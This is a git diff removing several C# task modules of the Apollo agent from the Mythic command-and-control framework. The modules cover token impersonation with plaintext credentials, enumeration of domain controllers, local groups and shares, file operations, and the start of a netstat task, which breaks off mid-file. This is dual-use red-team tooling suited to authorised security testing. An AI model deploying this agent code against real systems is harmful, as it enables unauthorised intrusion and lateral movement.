(ApolloInterop.Utils.PathUtils.TryGetExactPath(uncPath, out uncPath)) - { - string errorMessage = ""; - bool bRet = true; - FileDataStream ds = new FileDataStream(); - ds.FileChunkReached += (object o, EventArgs _) => - { - FileDataStream tmp = (FileDataStream) o; - List tmpStore = new List(); - int i = 0; - while (i < 20 && - tmp.FileQueue.TryDequeue(out FileInformation res)) - { - tmpStore.Add(res); - } - - results.Success = true; - results.UpdateDeleted = !results.IsFile; - results.Files = tmpStore.ToArray(); - var tmpResp = CreateTaskResponse( - _jsonSerializer.Serialize(results), - false, - "", - new IMythicMessage[] - { - results - }); - _agent.GetTaskManager().AddTaskResponseToQueue(tmpResp); - }; - if (File.Exists(uncPath)) - { - try - { - var tmp = new FileInfo(uncPath); - FileInformation finfo = new FileInformation(tmp, null); - results.IsFile = true; - results.Name = finfo.Name; - results.ParentPath = finfo.Directory; - results.CreationDate = finfo.CreationDate; - results.AccessTime = finfo.AccessTime; - results.ModifyTime = finfo.ModifyTime; - results.Size = finfo.Size; - try - { - results.Permissions = GetPermissions(tmp); - } - catch - { - } - - ds.Add(finfo); - } - catch (Exception ex) - { - bRet = false; - errorMessage = $"Failed to get information on file {uncPath}: {ex.Message}\n\n{ex.StackTrace}"; - } - } - else if (Directory.Exists(uncPath)) - { - try - { - DirectoryInfo dinfo = new DirectoryInfo(uncPath); - FileInformation finfo = new FileInformation(dinfo, null); - results.IsFile = false; - results.Name = finfo.Name; - results.UpdateDeleted = true; - results.ParentPath = dinfo.Parent == null - ? "" - : ApolloInterop.Utils.PathUtils.StripPathOfHost(dinfo.Parent.FullName); - results.AccessTime = finfo.AccessTime; - results.CreationDate = finfo.CreationDate; - results.ModifyTime = finfo.ModifyTime; - results.Size = finfo.Size; - try - { - results.Permissions = GetPermissions(dinfo); - } - catch - { - } - - string[] directories = Directory.GetDirectories(uncPath); - TT.ParallelOptions po = new TT.ParallelOptions(); - po.CancellationToken = _cancellationToken.Token; - po.MaxDegreeOfParallelism = 2; - try - { - TT.Parallel.ForEach(directories, po, (dir) => - { - po.CancellationToken.ThrowIfCancellationRequested(); - DirectoryInfo tmp = new DirectoryInfo(dir); - try - { - FileInformation dirInfo = new FileInformation(tmp, null); - try - { - dirInfo.Permissions = GetPermissions(tmp); - } - catch (Exception ex) - { - } - ds.Add(dirInfo); - } - catch(Exception ex) - { - FileInformation dirInfo = new FileInformation(); - dirInfo.IsFile = false; - dirInfo.FullName = dir; - ds.Add(dirInfo); - } - - }); - } - catch (OperationCanceledException) - { - } - - string[] dirFiles = Directory.GetFiles(uncPath); - try - { - TT.Parallel.ForEach(dirFiles, po, (f) => - { - po.CancellationToken.ThrowIfCancellationRequested(); - try - { - var tmp = new FileInfo(f); - FileInformation newFinfo = new FileInformation(tmp, null); - try - { - newFinfo.Permissions = GetPermissions(tmp); - } - catch - { - } - - ds.Add(newFinfo); - } - catch - { - } - }); - } - catch (OperationCanceledException) - { - } - } - catch (Exception ex) - { - bRet = false; - errorMessage = $"Failed to get information on directory {uncPath}: {ex.Message}\n\n{ex.StackTrace}"; - } - } - else - { - bRet = false; - errorMessage = $"Could not find file or directory {uncPath}"; - } - - results.Success = bRet; - results.UpdateDeleted = bRet && !results.IsFile; - results.Files = ds.GetAll().ToArray(); - - resp = CreateTaskResponse( - bRet ? _jsonSerializer.Serialize(results) : errorMessage, - true, - bRet ? "completed" : "error", - new IMythicMessage[] - { - results - }); - } - else - { - int errorCode = System.Runtime.InteropServices.Marshal.GetLastWin32Error(); - Exception ex = new Win32Exception(errorCode); - resp = CreateTaskResponse( - $"{ex.Message} ({errorCode}).", true, "error"); - } - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Exception: {ex.Message}", true, "error"); - } - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/make_token.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/make_token.cs deleted file mode 100644 index 2dce0387..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/make_token.cs +++ /dev/null @@ -1,121 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define MAKE_TOKEN -#endif - -#if MAKE_TOKEN - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.InteropServices; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class make_token : Tasking - { - [DataContract] - internal struct MakeTokenParameters - { - [DataMember(Name = "credential")] - public Credential Credential; - [DataMember(Name = "netOnly")] - public bool NetOnly; - } - public make_token(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - public override void Start() - { - MythicTaskResponse resp; - MakeTokenParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (string.IsNullOrEmpty(parameters.Credential.Account)) - { - resp = CreateTaskResponse("Account name is empty.", true, "error"); - } - else if (parameters.Credential.CredentialMaterial == null) - { - resp = CreateTaskResponse("Password is empty.", true, "error"); - } - else if (parameters.Credential.CredentialType != "plaintext") - { - resp = CreateTaskResponse("Credential material is not a plaintext password.", true, "error"); - } - else - { - var old = _agent.GetIdentityManager().GetCurrentImpersonationIdentity(); - ApolloLogonInformation info = new ApolloLogonInformation( - parameters.Credential.Account, - parameters.Credential.CredentialMaterial, - parameters.Credential.Realm, - parameters.NetOnly); - if (_agent.GetIdentityManager().SetIdentity(info)) - { - var cur = _agent.GetIdentityManager().GetCurrentImpersonationIdentity(); - var stringOutput = $"Old Claims (Authenticated: {old.IsAuthenticated}, ImpersonationLevel: {old.ImpersonationLevel}, AuthType: "; - try - { - stringOutput += $"{old.AuthenticationType}):\n"; - } - catch - { - stringOutput += $"AccessDenied):\n"; - } - foreach (var item in old.Claims) - { - stringOutput += item.ToString() + "\n"; - } - stringOutput += $"\nNew Claims (Authenticated: {cur.IsAuthenticated}, ImpersonationLevel: {cur.ImpersonationLevel}, AuthType: "; - try - { - stringOutput += $"{cur.AuthenticationType}):\n"; - } - catch - { - stringOutput += $"AccessDenied):\n"; - } - foreach (var item in cur.Claims) - { - stringOutput += item.ToString() + "\n"; - } - if (parameters.NetOnly) - { - resp = CreateTaskResponse( - $"Successfully impersonated {cur.Name} for local access and {parameters.Credential.Realm}\\{parameters.Credential.Account} for remote access.\n{stringOutput}", - true, - "completed", - new IMythicMessage[] { - Artifact.PlaintextLogon(cur.Name, true), - new CallbackUpdate{ ImpersonationContext = $"{parameters.Credential.Realm}\\{parameters.Credential.Account}" } - }); - } - else - { - resp = CreateTaskResponse( - $"Successfully impersonated {cur.Name} for local and remote access.\n{stringOutput}", - true, - "completed", - new IMythicMessage[] { - Artifact.PlaintextLogon(cur.Name, true) , - new CallbackUpdate{ ImpersonationContext = $"{cur.Name}" } - }); - } - } - else - { - resp = CreateTaskResponse( - $"Failed to impersonate {info.Username}: {Marshal.GetLastWin32Error()}", - true, - "error", - new IMythicMessage[] {Artifact.PlaintextLogon(info.Username)}); - } - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} -#endif diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/mkdir.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/mkdir.cs deleted file mode 100644 index 0f92f6be..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/mkdir.cs +++ /dev/null @@ -1,78 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define MKDIR -#endif - -#if MKDIR - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.IO; -using System.Runtime.Serialization; - - -namespace Tasks -{ - public class mkdir : Tasking - { - [DataContract] - internal struct MkdirParameters - { - [DataMember(Name = "path")] public string Path; - } - - public mkdir(IAgent agent, MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - MythicTaskResponse resp; - MkdirParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - - if (System.IO.Directory.Exists(parameters.Path)) - { - resp = CreateTaskResponse( - $"Directory {parameters.Path} already exists.", - true, - "error"); - } - else - { - try - { - DirectoryInfo info = Directory.CreateDirectory(parameters.Path); - FileInformation finfo = new FileInformation(info); - IMythicMessage[] artifacts = new IMythicMessage[2] - { - Artifact.FileCreate(info.FullName), - new FileBrowser(finfo), - }; - resp = CreateTaskResponse( - $"Created {info.FullName}", - true, - "completed", - artifacts); - } - catch (Exception ex) - { - resp = CreateTaskResponse( - $"Error creating {parameters.Path}: {ex.Message}", - true, - "error"); - } - } - - // Your code here.. - // CreateTaskResponse to create a new TaskResposne object - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/mv.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/mv.cs deleted file mode 100644 index 809fb88a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/mv.cs +++ /dev/null @@ -1,124 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define MV -#endif - -#if MV - -using System; -using System.IO; -using System.Runtime.Serialization; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; - - -namespace Tasks -{ - public class mv : Tasking - { - public mv(IAgent agent, MythicTask data) : base(agent, data) - { - } - - private HostFileInfo ParsePath(string path) - { - var results = new HostFileInfo(); - results.Host = Environment.GetEnvironmentVariable("COMPUTERNAME"); - results.Path = path; - if (path.StartsWith("\\\\")) results.Host = path.Split('\\')[2]; - - return results; - } - - public override void Start() - { - MythicTaskResponse resp; - HostFileInfo sourceInfo; - var parameters = _jsonSerializer.Deserialize(_data.Parameters); - - if (!PathUtils.TryGetExactPath(parameters.SourceFile, out _)) - { - resp = CreateTaskResponse( - $"File {parameters.SourceFile} does not exist.", - true, "error"); - } - else - { - var isDir = false; - FileSystemInfo sinfo = null; - FileInformation dinfo; - if (Directory.Exists(parameters.SourceFile)) - { - sinfo = new DirectoryInfo(parameters.SourceFile); - isDir = true; - } - else - { - sinfo = new FileInfo(parameters.SourceFile); - } - - try - { - if (isDir) - Directory.Move(parameters.SourceFile, parameters.DestinationFile); - else - File.Move(parameters.SourceFile, parameters.DestinationFile); - - dinfo = !isDir - ? new FileInformation(new FileInfo(parameters.DestinationFile)) - : new FileInformation(new DirectoryInfo(parameters.DestinationFile)); - sourceInfo = ParsePath(parameters.SourceFile); - ParsePath(parameters.DestinationFile); - resp = CreateTaskResponse( - $"Moved {sinfo.FullName} to {dinfo.FullName}", - true, - "completed", - new IMythicMessage[] - { - Artifact.FileOpen(sinfo.FullName), - Artifact.FileDelete(sinfo.FullName), - Artifact.FileOpen(dinfo.FullName), - Artifact.FileWrite(dinfo.FullName, isDir ? 0 : dinfo.Size), - new FileBrowser(dinfo) - }); - resp.RemovedFiles = new[] - { - new RemovedFileInformation - { - Host = sourceInfo.Host, - Path = sinfo.FullName - } - }; - } - catch (Exception ex) - { - resp = CreateTaskResponse( - $"Failed to move {parameters.SourceFile}: {ex.Message}", true, "error"); - } - } - - // Your code here.. - // CreateTaskResponse to create a new TaskResposne object - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - - [DataContract] - internal struct MvParameters - { - [DataMember(Name = "source")] public string SourceFile; - [DataMember(Name = "destination")] public string DestinationFile; - } - - internal struct HostFileInfo - { - internal string Host; - internal string Path; - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/net_dclist.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/net_dclist.cs deleted file mode 100644 index 11a0f41b..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/net_dclist.cs +++ /dev/null @@ -1,99 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define NET_DCLIST -#endif - -#if NET_DCLIST - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Collections.Generic; -using System.DirectoryServices.ActiveDirectory; -using System.Runtime.Serialization; -using System.Net; - -namespace Tasks -{ - public class net_dclist : Tasking - { - [DataContract] - internal struct NetDomainController - { - [DataMember(Name = "computer_name")] - public string ComputerName; - [DataMember(Name = "ip_address")] - public string IPAddress; - [DataMember(Name = "domain")] - public string Domain; - [DataMember(Name = "forest")] - public string Forest; - [DataMember(Name = "os_version")] - public string OSVersion; - [DataMember(Name = "global_catalog")] - public bool IsGlobalCatalog; - } - public net_dclist(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - - public override void Start() - { - MythicTaskResponse resp; - DirectoryContext ctx; - DomainControllerCollection dcCollection; - List results = new List(); - if (string.IsNullOrEmpty(_data.Parameters)) - ctx = new DirectoryContext(DirectoryContextType.Domain); - else - ctx = new DirectoryContext(DirectoryContextType.Domain, _data.Parameters.Trim()); - try - { - dcCollection = DomainController.FindAll(ctx); - foreach (DomainController dc in dcCollection) - { - var result = new NetDomainController(); - result.ComputerName = dc.Name; - result.Domain = dc.Domain.ToString(); - try - { - var ips = Dns.GetHostAddresses(result.ComputerName); - string ipList = ""; - for (int i = 0; i < ips.Length; i++) - { - if (i == ips.Length - 1) - ipList += $"{ips[i].ToString()}"; - else - ipList += $"{ips[i].ToString()}, "; - } - - result.IPAddress = ipList; - } - catch (Exception ex) - { - result.IPAddress = dc.IPAddress; - } - - result.Forest = dc.Forest.ToString(); - result.OSVersion = dc.OSVersion; - result.IsGlobalCatalog = dc.IsGlobalCatalog(); - results.Add(result); - } - - resp = CreateTaskResponse( - _jsonSerializer.Serialize(results.ToArray()), - true); - } - catch(Exception ex) - { - resp = CreateTaskResponse(ex.Message, true, "error"); - } - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/net_localgroup.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/net_localgroup.cs deleted file mode 100644 index 7b7db806..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/net_localgroup.cs +++ /dev/null @@ -1,145 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define NET_LOCALGROUP -#endif - -#if NET_LOCALGROUP - -using ApolloInterop.Classes; -using ApolloInterop.Classes.Api; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class net_localgroup : Tasking - { - #region typedefs - - [DataContract] - internal struct NetLocalGroup - { - [DataMember(Name = "computer_name")] - public string ComputerName; - [DataMember(Name = "group_name")] - public string GroupName; - [DataMember(Name = "comment")] - public string Comment; - [DataMember(Name = "sid")] - public string SID; - } - - [StructLayout(LayoutKind.Sequential)] - public struct LocalGroupUsersInfo - { - public IntPtr name; - public IntPtr comment; - } - - private delegate int NetLocalGroupEnum( - [MarshalAs(UnmanagedType.LPWStr)] - string servername, - int dwLevel, - out IntPtr lpBuffer, - int dwMaxLen, - out int dwEntriesRead, - out int dwTotalEntries, - ref IntPtr lpResume); - - private delegate int NetApiBufferFree( - IntPtr lpBuffer); - - private NetLocalGroupEnum _pNetLocalGroupEnum; - private NetApiBufferFree _pNetApiBufferFree; - - /* - [DllImport("Netapi32.dll")] - internal extern static int NetLocalGroupEnum([MarshalAs(UnmanagedType.LPWStr)] - string servername, - int level, - out IntPtr bufptr, - int prefmaxlen, - out int entriesread, - out int totalentries, - ref IntPtr resume_handle); - */ - #endregion - - public net_localgroup(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - _pNetLocalGroupEnum = _agent.GetApi().GetLibraryFunction(Library.SAMCLI, "NetLocalGroupEnum"); - _pNetApiBufferFree = _agent.GetApi().GetLibraryFunction(Library.NETUTILS, "NetApiBufferFree"); - } - - - public override void Start() - { - MythicTaskResponse resp = new MythicTaskResponse { }; - int res = 0; - int level = 1; - IntPtr buffer = IntPtr.Zero; - int MAX_PREFERRED_LENGTH = -1; - int read = 0, total = 0; - IntPtr handle = IntPtr.Zero; - List results = new List(); - string serverName = _data.Parameters.Trim(); - if (string.IsNullOrEmpty(serverName)) - { - serverName = Environment.GetEnvironmentVariable("COMPUTERNAME"); - } - - List groups = new List(); - try - { - - res = _pNetLocalGroupEnum(serverName, level, out buffer, MAX_PREFERRED_LENGTH, - out read, out total, ref handle); - - if (res != 0) - { - resp = CreateTaskResponse( - $"Error enumuerating local groups: {res}", true, "error"); - } - else - { - IntPtr ptr = buffer; - for (int i = 0; i < read; i++) - { - LocalGroupUsersInfo group = - (LocalGroupUsersInfo) Marshal.PtrToStructure(ptr, typeof(LocalGroupUsersInfo)); - NetLocalGroup result = new NetLocalGroup(); - result.ComputerName = serverName; - result.GroupName = Marshal.PtrToStringUni(@group.name); - result.Comment = Marshal.PtrToStringUni(@group.comment); - results.Add(result); - ptr =ptr + Marshal.SizeOf(typeof(LocalGroupUsersInfo)); - } - } - } - finally - { - if (buffer != IntPtr.Zero) - { - _pNetApiBufferFree(buffer); - } - } - - if (resp.UserOutput == null) - { - resp = CreateTaskResponse( - _jsonSerializer.Serialize(results.ToArray()), true); - } - - // Your code here.. - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/net_localgroup_member.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/net_localgroup_member.cs deleted file mode 100644 index 7b6acffd..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/net_localgroup_member.cs +++ /dev/null @@ -1,151 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define NET_LOCALGROUP_MEMBER -#endif - -#if NET_LOCALGROUP_MEMBER - -using ApolloInterop.Classes; -using ApolloInterop.Classes.Api; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class net_localgroup_member : Tasking - { - [DataContract] - internal struct NetLocalGroupMemberParameters - { - [DataMember(Name = "computer")] - public string Computer; - [DataMember(Name = "group")] - public string Group; - } - - [DataContract] - internal struct NetLocalGroupMember - { - [DataMember(Name = "computer_name")] - public string ComputerName; - [DataMember(Name = "group_name")] - public string GroupName; - [DataMember(Name = "member_name")] - public string MemberName; - [DataMember(Name = "sid")] - public string SID; - [DataMember(Name = "is_group")] - public bool IsGroup; - } - - #region typedefs - - private delegate int NetLocalGroupGetMembers( - [MarshalAs(UnmanagedType.LPWStr)] string servername, - [MarshalAs(UnmanagedType.LPWStr)] string localgroupname, - int level, - out IntPtr bufptr, - int prefmaxlen, - out int entriesread, - out int totalentries, - ref IntPtr resume_handle); - - private delegate bool ConvertSidToStringSid(IntPtr pSid, out string strSid); - private delegate int NetApiBufferFree(IntPtr lpBuffer); - /* - [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)] - public static extern bool ConvertSidToStringSid(IntPtr pSid, out string strSid); - */ - private NetLocalGroupGetMembers _pNetLocalGroupGetMembers; - private ConvertSidToStringSid _pConvertSidToStringSid; - private NetApiBufferFree _pNetApiBufferFree; - - public enum SidNameUse - { - SidTypeUser = 1, - SidTypeGroup, - SidTypeDomain, - SidTypeAlias, - SidTypeWellKnownGroup, - SidTypeDeletedAccount, - SidTypeInvalid, - SidTypeUnknown, - SidTypeComputer, - SidTypeLabel, - SidTypeLogonSession - } - - [StructLayout(LayoutKind.Sequential)] - public struct LocalGroupMembersInfo - { - public IntPtr lgrmi2_sid; - public SidNameUse lgrmi2_sidusage; - public IntPtr lgrmi2_domainandname; - } - - #endregion - public net_localgroup_member(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - _pNetLocalGroupGetMembers = _agent.GetApi().GetLibraryFunction(Library.SAMCLI, "NetLocalGroupGetMembers"); - _pConvertSidToStringSid = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "ConvertSidToStringSidA"); - _pNetApiBufferFree = _agent.GetApi().GetLibraryFunction(Library.NETUTILS, "NetApiBufferFree"); - } - public override void Start() - { - MythicTaskResponse resp; - NetLocalGroupMemberParameters args = _jsonSerializer.Deserialize(_data.Parameters); - if (string.IsNullOrEmpty(args.Computer)) - { - args.Computer = Environment.GetEnvironmentVariable("COMPUTERNAME"); - } - - List results = new List(); - int entriesRead; - int totalEntries; - IntPtr resumePtr = IntPtr.Zero; - - int val = _pNetLocalGroupGetMembers(args.Computer, args.Group, 2, out IntPtr bufPtr, -1, out entriesRead, - out totalEntries, ref resumePtr); - if (entriesRead > 0) - { - LocalGroupMembersInfo[] groupMembers = new LocalGroupMembersInfo[entriesRead]; - IntPtr iter = bufPtr; - for (int i = 0; i < entriesRead; i++) - { - groupMembers[i] = (LocalGroupMembersInfo) Marshal.PtrToStructure(iter, typeof(LocalGroupMembersInfo)); - iter = iter + Marshal.SizeOf(typeof(LocalGroupMembersInfo)); - //myList.Add(Marshal.PtrToStringUni(Members[i].lgrmi2_domainandname) + "," + Members[i].lgrmi2_sidusage); - string sidString = ""; - bool bRet = _pConvertSidToStringSid(groupMembers[i].lgrmi2_sid, out sidString); - if (!bRet) - continue; - var result = new NetLocalGroupMember(); - result.ComputerName = args.Computer; - result.GroupName = args.Group; - result.IsGroup = (groupMembers[i].lgrmi2_sidusage == SidNameUse.SidTypeGroup); - result.SID = sidString; - result.MemberName = Marshal.PtrToStringUni(groupMembers[i].lgrmi2_domainandname); - results.Add(result); - } - - if (bufPtr != IntPtr.Zero) - { - _pNetApiBufferFree(bufPtr); - } - } - - resp = CreateTaskResponse( - _jsonSerializer.Serialize(results.ToArray()), true); - // Your code here.. - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/net_shares.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/net_shares.cs deleted file mode 100644 index 8d938581..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/net_shares.cs +++ /dev/null @@ -1,218 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define NET_SHARES -#endif - -#if NET_SHARES - -using ApolloInterop.Classes; -using ApolloInterop.Classes.Api; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class net_shares : Tasking - { - [DataContract] - internal struct NetShareInformation - { - [DataMember(Name = "computer_name")] - public string ComputerName; - [DataMember(Name = "share_name")] - public string ShareName; - [DataMember(Name = "comment")] - public string Comment; - [DataMember(Name = "type")] - public string Type; - [DataMember(Name = "readable")] - public bool Readable; - } - - [DataContract] - internal struct AceInformation - { - [DataMember(Name = "account")] - public string Account; - [DataMember(Name = "type")] - public string Type; - [DataMember(Name = "rights")] - public string Rights; - [DataMember(Name = "inherited")] - public bool IsInherited; - } - - private delegate int NetShareEnum( - [MarshalAs(UnmanagedType.LPWStr)] - string serverName, - int level, - ref IntPtr bufPtr, - uint prefmaxlen, - ref int entriesread, - ref int totalentries, - ref int resume_handle); - - private delegate int NetApiBufferFree(IntPtr lpBuffer); - - private NetShareEnum _pNetShareEnum; - private NetApiBufferFree _pNetApiBufferFree; - - public enum ShareType : uint - { - STYPE_DISKTREE = 0, - STYPE_PRINTQ = 1, - STYPE_DEVICE = 2, - STYPE_IPC = 3, - STYPE_SPECIAL = 0x80000000, - STYPE_CLUSTER_FS = 0x02000000, - STYPE_CLUSTER_SOFS = 0x04000000, - STYPE_CLUSTER_DFS = 0x08000000, - STYPE_TEMPORARY = 0x40000000, - STYPE_UNKNOWN = 10, - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct ShareInfo - { - public string shi1_netname; - public ShareType shi1_type; - public string shi1_remark; - public ShareInfo(string sharename, ShareType sharetype, string remark) - { - this.shi1_netname = sharename; - this.shi1_type = sharetype; - this.shi1_remark = remark; - } - public override string ToString() - { - return shi1_netname; - } - } - - [DataContract] - public struct NetSharesParameters - { - [DataMember(Name = "computer")] public string Computer; - } - - - public net_shares(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - _pNetApiBufferFree = _agent.GetApi().GetLibraryFunction(Library.NETUTILS, "NetApiBufferFree"); - _pNetShareEnum = _agent.GetApi().GetLibraryFunction(Library.SRVCLI, "NetShareEnum"); - } - private ShareInfo[] EnumerateShares(string computer) - { - List ShareInfos = new List(); - int entriesread = 0; - int totalentries = 0; - int resume_handle = 0; - int nStructSize = Marshal.SizeOf(typeof(ShareInfo)); - IntPtr bufPtr = IntPtr.Zero; - int ret = _pNetShareEnum(computer, 1, ref bufPtr, 0xFFFFFFFF, ref entriesread, ref totalentries, ref resume_handle); - if (ret == 0) - { - IntPtr currentPtr = bufPtr; - for (int i = 0; i < entriesread; i++) - { - ShareInfo shi1 = (ShareInfo)Marshal.PtrToStructure(currentPtr, typeof(ShareInfo)); - ShareInfos.Add(shi1); - currentPtr = (IntPtr)(currentPtr.ToInt64() + nStructSize); - } - _pNetApiBufferFree(bufPtr); - return ShareInfos.ToArray(); - } - else - { - ShareInfos.Add(new ShareInfo("ERROR=" + ret.ToString(), ShareType.STYPE_UNKNOWN, string.Empty)); - return ShareInfos.ToArray(); - } - } - - - public override void Start() - { - MythicTaskResponse resp; - NetSharesParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - string computer = parameters.Computer; - if (string.IsNullOrEmpty(computer)) - { - computer = Environment.GetEnvironmentVariable("COMPUTERNAME"); - } - - string[] errors = {"ERROR=53", "ERROR=5"}; - List results = new List(); - - ShareInfo[] computerShares = EnumerateShares(computer); - - if (computerShares.Length > 0) - { - foreach (ShareInfo share in computerShares) - { - var result = new NetShareInformation(); - result.ComputerName = computer; - result.ShareName = share.shi1_netname; - result.Comment = share.shi1_remark; - try - { - string path = String.Format("\\\\{0}\\{1}", computer, share.shi1_netname); - var files = System.IO.Directory.GetFiles(path); - result.Readable = true; - } - catch - { - result.Readable = false; - } - - switch (share.shi1_type) - { - case ShareType.STYPE_DISKTREE: - result.Type = "Disk Drive"; - break; - case ShareType.STYPE_PRINTQ: - result.Type = "Print Queue"; - break; - case ShareType.STYPE_DEVICE: - result.Type = "Communication Device"; - break; - case ShareType.STYPE_IPC: - result.Type = "Interprocess Communication (IPC)"; - break; - case ShareType.STYPE_SPECIAL: - result.Type = "Special Reserved for IPC."; - //result.Type = "Special share reserved for interprocess communication (IPC$) or remote administration of the server (ADMIN$). Can also refer to administrative shares such as C$, D$, E$, and so forth."; - break; - case ShareType.STYPE_CLUSTER_FS: - result.Type = "Cluster Share"; - break; - case ShareType.STYPE_CLUSTER_SOFS: - result.Type = "Scale Out Cluster Share"; - break; - case ShareType.STYPE_CLUSTER_DFS: - result.Type = "DFS Share in Cluster"; - break; - case ShareType.STYPE_TEMPORARY: - result.Type = "Temporary Share"; - break; - default: - result.Type = $"Unknown type ({share.shi1_type})"; - break; - } - - results.Add(result); - } - } - - resp = CreateTaskResponse( - _jsonSerializer.Serialize(results.ToArray()), true); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/netstat.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/netstat.cs deleted file mode 100755 index c7a48524..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/netstat.cs +++ /dev/null @@ -1,470 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define NETSTAT -#endif - -#if NETSTAT - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Net; -using System.Net.NetworkInformation; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Runtime.Serialization; -using ApolloInterop.Classes.Api; - -namespace Tasks -{ - public class netstat : Tasking - { - [DataContract()] - private struct NetstatEntry { - [DataMember(Name = "local_address")] public string LocalAddress; - [DataMember(Name = "remote_address")] public string RemoteAddress; - [DataMember(Name = "local_port")] public int LocalPort; - [DataMember(Name = "remote_port")] public int RemotePort; - [DataMember(Name = "pid")] public uint Pid; - [DataMember(Name = "state")] public string State; - [DataMember(Name = "protocol")] public string Protocol; - [DataMember(Name = "ip_version")] public int IpVersion; - } - - [DataContract()] - private struct NetstatParameters { - [DataMember(Name = "tcp")] public bool Tcp; - [DataMember(Name = "udp")] public bool Udp; - [DataMember(Name = "established")] public bool Established; - [DataMember(Name = "listen")] public bool Listen; - } - - #region imports - - private delegate uint GetExtendedTcpTable( - IntPtr tcpTable, - ref int tcpTableLength, - bool sort, - int ipVersion, - TCP_TABLE_CLASS tcpTableType, - int reserved = 0); - private static GetExtendedTcpTable _pGetExtendedTcpTable = null; - - private delegate uint GetExtendedUdpTable( - IntPtr pTcpTable, - ref int dwOutBufLen, - bool sort, - int ipVersion, - UDP_TABLE_CLASS tblClass, - uint reserved = 0); - private static GetExtendedUdpTable _pGetExtendedUdpTable = null; - - #endregion - - #region typedefs - - #region Enums - // https://msdn2.microsoft.com/en-us/library/aa366386.aspx - private enum TCP_TABLE_CLASS - { - TCP_TABLE_BASIC_LISTENER, - TCP_TABLE_BASIC_CONNECTIONS, - TCP_TABLE_BASIC_ALL, - TCP_TABLE_OWNER_PID_LISTENER, - TCP_TABLE_OWNER_PID_CONNECTIONS, - 